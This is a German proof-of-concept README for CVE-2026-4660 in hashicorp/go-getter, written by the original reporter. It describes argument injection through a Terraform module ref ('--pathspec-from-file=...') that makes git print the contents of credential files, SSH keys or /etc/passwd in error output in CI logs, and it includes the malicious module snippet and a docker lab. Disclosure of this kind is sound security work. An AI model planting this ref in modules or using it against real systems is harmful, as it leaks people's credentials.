
PoC für CVE-2026-4660: beliebiges Dateilesen über git checkout in hashicorp/go-getter
Proof of Concept für CVE-2026-4660 (HashiCorp Advisory) in hashicorp/go-getter. Ich bin der ursprüngliche Melder.
Ein Angreifer veröffentlicht ein Terraform-Modul mit einem ref von --pathspec-from-file=/pfad/zu/datei. Wenn das Opfer terraform init ausführt, klont go-getter das Repository und ruft git checkout --pathspec-from-file=/pfad/zu/datei auf. Git liest die Zieldatei Zeile für Zeile, scheitert an jeder Zeile als Pathspec und gibt die Inhalte in seiner Fehlerausgabe aus. Der bösartige ref befindet sich in der Modulquelle des Angreifers, nicht in der eigenen Konfiguration des Opfers. terraform init schlägt mit einem Modul-Download-Fehler fehl; die Anmeldedatenwerte erscheinen eingebettet in Git-Pathspec-Fehlern in der Ausgabe. Kein apply erforderlich.
Die Schwachstelle existiert in zwei Codepfaden der go-getter-Bibliothek. clone() wird verwendet, wenn das Zielverzeichnis nicht vorhanden ist; update() wird verwendet, wenn es existiert. Beide rufen dasselbe checkout() auf. clone() verzögert os.RemoveAll(dst) bei einem Fehler; update() tut dies nicht, sodass das Verzeichnis den fehlgeschlagenen Checkout überlebt.
Der Modulinstaller von Terraform (initwd/module_install.go:251) ruft immer os.RemoveAll auf dem Ziel auf, bevor go-getter aufgerufen wird, sodass Terraform immer clone() auslöst. Packer, Nomad und jedes Tool, das die go-getter-API direkt gegen ein bereits vorhandenes Verzeichnis aufruft, löst stattdessen update() aus. Der PoC demonstriert beide Pfade.
Betrifft alle Tools, die go-getter verwenden: Beispiele sind Terraform, Nomad, Packer, Waypoint.
Behoben in: go-getter v1.8.6 (noch keine Terraform-Version enthält den Fix Stand 2026-04-10) Schweregrad: 7.5 Hoch (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Ein Angreifer veröffentlicht ein legitim aussehendes Terraform-Modul auf GitHub, zum Beispiel ein AWS-VPC-Modul mit echtem, funktionierendem Code. Versteckt darin verweist eine Submodul-Quelle auf ein zweites, vom Angreifer kontrolliertes Repository mit dem bösartigen ref:
# im Modul des Angreifers; das Opfer liest diese Datei nie
module "internal" {
source = "git::https://github.com/attacker/tf-internal.git?ref=--pathspec-from-file=/home/runner/.aws/credentials"
}
Das Opfer fügt das Top-Level-Modul zu seiner Konfiguration hinzu:
module "vpc" {
source = "git::https://github.com/attacker/tf-aws-vpc.git"
}
Sie führen terraform init aus, entweder lokal oder in CI. go-getter klont das Top-Level-Modul, findet das verschachtelte Submodul, klont auch dieses und ruft git checkout --pathspec-from-file=/home/runner/.aws/credentials auf. Git liest die Datei und die Inhalte erscheinen in der Fehlerausgabe von Terraform:
│ Error: Failed to download module
│
│ error: pathspec 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' did not match any file(s) known to git
│ error: pathspec 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' did not match any file(s) known to git
Hinweis: [default] wird vom colorstring-Renderer von Terraform entfernt, selbst mit -no-color (als Style-Reset-Token interpretiert) und erscheint als leere Pathspec '' in der tatsächlichen Ausgabe. Die rohe git checkout-Ausgabe im PoC zeigt den unveränderten Inhalt.
Der Angriff ist nicht auf Anmeldedatendateien beschränkt. Jede Datei, die für den Prozess lesbar ist, ist ein Ziel: /etc/passwd, CI-Token-Dateien, Anwendungskonfigurationen, alles, was vom Runner aus zugänglich ist. Der PoC demonstriert ~/.aws/credentials, ~/.ssh/id_rsa und /etc/passwd.
In GitHub Actions, CircleCI oder jedem CI-System, das terraform init-Ausgaben protokolliert, sind diese Protokolle für alle mit Repository-Zugriff lesbar und werden oft ohne Ablaufdatum in Log-Aggregationssysteme (Datadog, Splunk usw.) exportiert. Die AWS-Anmeldedaten, SSH-Schlüssel oder jede andere vom Runner lesbare Datei des Opfers landen im Protokollverlauf. Das Opfer sieht einen fehlgeschlagenen Build; die Anmeldedatenwerte sind in dem vergraben, was wie ein Git-Fehler aussieht.
docker compose up --build
Zwei Container: gitserver stellt die nackten Git-Repositories des Angreifers über HTTP bereit, poc läuft als Benutzer runner mit gefälschten Anmeldedaten unter ~/.aws/credentials, ~/.ssh/id_rsa und einer lesbaren /etc/passwd. Phase 1 führt terraform init aus und demonstriert den clone()-Pfad; eine Sentinel-Prüfung bestätigt, dass die Modulverzeichnisse durch das verzögerte RemoveAll von clone() bei einem Fehler gelöscht werden. Phase 2 übt direkt die update()-Aufrufsequenz von go-getter aus (fetch + checkout), um zu zeigen, dass dieselbe checkout()-Schwachstelle ausgelöst wird und dass das Verzeichnis überlebt, konsistent mit dem Fehlen eines RemoveAll-Defers in update(). Keine Interaktion erforderlich.